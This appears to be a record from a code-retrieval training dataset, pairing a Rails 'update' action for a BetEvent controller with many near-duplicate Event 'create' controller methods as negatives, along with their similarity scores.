@event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # render json: params[:event]\n temp_event = Event.create(\n name: params[:event][:name],\n location: params[:event][:location],\n date: params[:event][:date],\n time: params[:event][:time],\n budget: params[:event][:budget],\n user: current_user\n )\n redirect_to \"/items?event=#{temp_event.id}\"\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"You're event has been received. Once approved it will be included in the next mailing.\" }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.json { render :show, status: :created, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.json { render :show, status: :created, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n params['facebook'] = {\n :name => params[:event][:name],\n :start_time => get_date_string_from_params(params[:event]['start_time(1i)'],params[:event]['start_time(2i)'],params[:event]['start_time(3i)'],params[:event]['start_time(4i)'],params[:event]['start_time(5i)']),\n :end_time => get_date_string_from_params(params[:event]['end_time(1i)'],params[:event]['end_time(2i)'],params[:event]['end_time(3i)'],params[:event]['end_time(4i)'],params[:event]['end_time(5i)']),\n :description => params[:event][:description],\n :location => params[:event][:location],\n :privacy_type => params[:event][:privacy_type]\n \n \n }\n \n @event = Event.new(params[:event])\n @event.status = true\n \n respond_to do |format|\n if @event.valid?\n faceresponse = @graph.put_object('me', 'events', params['facebook'] )\n if faceresponse\n @event.facebookID = faceresponse['id']\n @event.save\n \n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event } \n else\n format.html { render action: \"new\", notice: 'Error on facebook occure.' }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def create\r\n @event = Event.new(event_params)\r\n convert_timezone @event\r\n event_type_status @event\r\n if @event.save_without_exception\r\n update_theme @event\r\n add_event_categories @event\r\n add_event_location @event\r\n create_group_guest_list @event\r\n add_photos @event\r\n # Create Groups and contacts through CSV\r\n contacts_imports\r\n render json: SuccessResponse.new(\r\n code: 200, message: 'Event Created.', location: '/events/List?id=' + @event.id.to_s, eventID: @event.id\r\n ), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new, adapter: :json, status: :unprocessable_entity\r\n end\r\n end", "def create\n @event_event = Event::Event.new(params[:event_event])\n\n respond_to do |format|\n if @event_event.save\n format.html { redirect_to @event_event, notice: 'Event was successfully created.' }\n format.json { render json: @event_event, status: :created, location: @event_event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, :notice => 'Event was successfully created.' }\n format.json { render :json => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n result = Event::CreateEvent.perform(event_context)\n\n respond_to do |format|\n if result.success?\n @event = result.event\n format.json { render action: 'show', status: :created }\n else\n format.json { render json: { :errors => result.errors.full_messages }, status: :unprocessable_entity }\n end\n end\n end", "def test_add_event()\n # Parameters for the API call\n\n req_headers = JSON.parse('{'\\\n '\"Host\": \"api.acmeinc.com\",'\\\n '\"Accept\": \"*/*\",'\\\n '\"Connection\": \"Keep-Alive\",'\\\n '\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\",'\\\n '\"Content-Type\": \"application/json\",'\\\n '\"Content-Length\": \"126\",'\\\n '\"Accept-Encoding\": \"gzip\"'\\\n '}')\n\n req_body = JSON.parse( '{'\\\n '\"items\": ['\\\n '{'\\\n '\"type\": 1,'\\\n '\"id\": \"fwfrf\"'\\\n '},'\\\n '{'\\\n '\"type\": 2,'\\\n '\"id\": \"d43d3f\"'\\\n '}'\\\n ']'\\\n '}')\n\n rsp_headers = JSON.parse('{'\\\n '\"Date\": \"Tue, 6 Jan 2019 23:46:49 GMT\",'\\\n '\"Vary\": \"Accept-Encoding\",'\\\n '\"Pragma\": \"no-cache\",'\\\n '\"Expires\": \"-1\",'\\\n '\"Content-Type\": \"application/json; charset=utf-8\",'\\\n '\"Cache-Control\": \"no-cache\"'\\\n '}')\n\n rsp_body = JSON.parse('{'\\\n '\"Error\": \"InvalidArgumentException\",'\\\n '\"Message\": \"Missing field field_a\"'\\\n '}')\n\n metadata = JSON.parse('{'\\\n '\"foo\": \"rubytestmeta\",'\\\n '\"bar\": \"rubytestmedat2\"'\\\n '}')\n\n event_req = EventRequestModel.new()\n event_req.time = Time.now.utc.iso8601\n event_req.uri = \"https://api.acmeinc.com/items/reviews/\"\n event_req.verb = \"PATCH\"\n event_req.api_version = \"1.1.0\"\n event_req.ip_address = \"61.48.220.123\"\n event_req.headers = req_headers\n event_req.body = req_body\n\n event_rsp = EventResponseModel.new()\n event_rsp.time = (Time.now.utc + 2).iso8601\n event_rsp.status = 500\n event_rsp.headers = rsp_headers\n event_rsp.body = rsp_body\n\n event_model = EventModel.new()\n event_model.request = event_req\n event_model.response = event_rsp\n event_model.user_id = \"my_user_id\"\n event_model.company_id = \"my_company_id\"\n event_model.metadata = metadata\n event_model.session_token = \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\"\n\n # Perform the API call through the SDK function\n self.class.controller.create_event(event_model)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 201)\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, event: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = @team.events.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.js { render :refresh, status: :created, location: [@team, @event] }\n else\n format.js { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: t(:event_created) }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to \"/#{@event.url}\" }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if @environment\n attributes = params.delete(:data)\n attributes[:timestamp] = params[:event].delete(:timestamp).to_s\n attributes[:environment_id] = @environment.id\n attributes.merge!(params[:event])\n\n @event = Event.new(attributes.slice(*Event.attribute_names))\n\n if @event.error? && send_error_notifications?\n notify_honeybadger_event(@event, attributes)\n end\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n else\n render nothing: true\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: \"Event #{@event} was successfully created.\" }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n @event.date_at = DateTime.parse(\"#{params[:event][:date_at]} #{params[:event][:start_at]} -0600\")\n @event.start_at = DateTime.parse(\"#{params[:event][:date_at]} #{params[:event][:start_at]} -0600\")\n respond_to do |format|\n if @event.save\n @current_user.delay.create_fb_event(@event) if @current_user.is_admin\n format.html { redirect_to admin_events_path, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find_by_authentication_token(params[:auth_token])\n @event = Event.new.from_json(params[:event])\n @event.user_id = @user.id\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @auction_event = Auction::Event.new(auction_event_params)\n if @auction_event.save\n flash[:success] = '添加成功'\n else\n flash[:danger] = '添加失败'\n end\n redirect_to '/auction/events'\n end", "def set_bet_event\n @bet_event = BetEvent.find(params[:id])\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n @event.enters\n @event.leaves\n\n # highfive_counter = 0\n # if @event[\"event_type\"] == \"highfive\"\n # highfive_counter = highfive_counter + 1\n # return highfive_counter\n # else\n # 0\n # end\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n render :show, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Events::Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to dashboard_home_path }\n format.json { render 'event', status: :created, event: @event }\n else\n format.html { render dashboard_home_path }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n logger.debug @event.errors.inspect\n format.html { redirect_to @event, notice: 'データが新規作成されました。' }\n format.json { render :show, status: :created, location: @event }\n else\n logger.debug @event.errors.to_hash(true)\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.user = current_user\n @event.neighborhood = current_user.current_neighborhood\n\n if isNewser(current_user)\n @event.status = 'pending'\n\n @request = Request.new()\n @request.user = current_user\n @request.neighborhood = current_user.current_neighborhood\n @request.event = @event\n @event.request = @request\n @request.request_type = 'event'\n\n respond_to do |format|\n if @event.save && @request.save\n format.html { redirect_to @event, notice: 'Event was successfully requested.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n else\n @event.status = 'accepted'\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_url, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { redirect_to events_url }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @base_event = BaseEvent.new(base_event_params)\n\n respond_to do |format|\n if @base_event.save\n format.json { render :json => @base_event, :status => :created, :location => @base_event}\n else\n format.json { render :json => @base_event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def http_message\n {\n data: {\n type: \"events\",\n id: event.id,\n attributes: {\n updated_at: event.updated_at,\n }\n }\n }.to_json\n end", "def create\n \n @event = Event.new(event_params)\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.user_id = current_user.id\n respond_to do |format|\n if @event.save\n # イベントのステータスで落選に変更されたら、企業のステータスを選考済みに変更\n if @event.is_passed == 'droped'\n company = Company.find(@event.company_id)\n company.is_active = false\n company.save\n end\n format.html { redirect_to @event, notice: \"イベントの作成に成功しました。\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_webhook(access_token:, events:)\n client(token: access_token).post(\n 'v1/webhooks',\n {\n url: \"#{ENV['APP_URL']}/webhooks\",\n events: events\n }.to_json\n )\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to \"/team/calendar\", notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.organizer = current_user\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @myevent = Myevent.new(params[:myevent])\n\n respond_to do |format|\n if @myevent.save\n format.html { redirect_to @myevent, notice: 'Myevent was successfully created.' }\n format.json { render json: @myevent, status: :created, location: @myevent }\n else\n format.html { render action: \"new\" }\n format.json { render json: @myevent.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_booking_business_event!\n BusinessEvents::BusinessEvent.fire_event(:new_booking, \n {:booking_id => id})\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'El evento fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: events_path(@event) }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def pebble\n provider = Account.find(params[:provider_id])\n\n dates = EventDate.where(\"datetime>:now AND stage_id IN (:stage_id)\", {\n :now => (Time.now + 2.hours),\n :stage_id => provider.user.stages.map(&:id)\n }).order(:datetime).limit(2)\n \n output = {}\n dates.each do |date| \n output[output.count] = ActiveSupport::Inflector.transliterate(date.event.title.slice(0,20))\n output[output.count] = date.datetime.strftime(\"%H:%M\") + \" \" + ActiveSupport::Inflector.transliterate(date.event.stage.name.gsub(/[a-z]|\\s/,''))\n end\n \n render json: output\n \n rescue ActiveRecord::RecordNotFound\n render json: {}\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n track_activity @event\n format.html { redirect_to :back, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n after_event_created_mail @event\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n build_event\n if save_event_and_timeline\n format.html { redirect_to_event_or_timeline }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n event_params = params[:event]\n\n @event = current_user.chef_events.new({\n held_at: Date.parse(event_params[:time]),\n maximum_guest_count: event_params[:seats],\n address: event_params[:address]\n })\n\n meal = Meal.new({\n chef_user: current_user,\n name: event_params[:dishname],\n ingredients: event_params[:ingredients],\n suggested_price: event_params[:price]\n })\n\n offer = @event.offered_meals.new({\n meal: meal,\n price: event_params[:price]\n })\n\n offer.photos.new({\n image: event_params[:image]\n })\n\n if @event.save\n referer = URI(request.referer)\n # render :show, status: :created, location: @event\n redirect_to URI(%{http://#{referer.host}:#{referer.port}/TopPicks}).to_s\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Event.new(params[:event])\n @event.url = BASE_URL + @event.name.gsub(' ', '_')\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bom_event = BomEvent.new(bom_event_params)\n\n respond_to do |format|\n if @bom_event.save\n format.html { redirect_to @bom_event, notice: 'Bom event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bom_event }\n else\n format.html { render action: 'new' }\n format.json { render json: @bom_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def event_params\n params.require(:event).permit(:pet_name, :amount, :starts_at, :ends_at, :time)\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7019916", "0.698915", "0.68578", "0.6826691", "0.6800796", "0.67466784", "0.67004657", "0.65758836", "0.6567023", "0.65334815", "0.6467185", "0.6444581", "0.64424175", "0.6384026", "0.63432556", "0.6330662", "0.63117903", "0.62887836", "0.6283721", "0.62824315", "0.62588245", "0.62588245", "0.62462527", "0.6245012", "0.62318397", "0.62315816", "0.62253237", "0.62141764", "0.62050223", "0.6199762", "0.6196337", "0.6194325", "0.6191292", "0.6182907", "0.617469", "0.617012", "0.6163235", "0.6153963", "0.615173", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.6149318", "0.61428946", "0.6139423", "0.6137284", "0.6136839", "0.6128656", "0.61276203", "0.6127231", "0.6125398", "0.61200756", "0.61179245", "0.6114366", "0.61059827", "0.61059093", "0.6095299", "0.6092786", "0.60812676", "0.60780853", "0.60776484", "0.60602605", "0.60602605", "0.60600233", "0.60573375", "0.60573375", "0.6047927", "0.60452366", "0.604081", "0.6039597", "0.6038851", "0.6038288", "0.6038217", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224", "0.60378224" ]
0.7436185
0
PATCH/PUT /bet_events/1 PATCH/PUT /bet_events/1.json
def update respond_to do |format| if @bet_event.update(bet_event_params) format.html { redirect_to @bet_event, notice: 'Bet event was successfully updated.' } format.json { render :show, status: :ok, location: @bet_event } else format.html { render :edit } format.json { render json: @bet_event.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
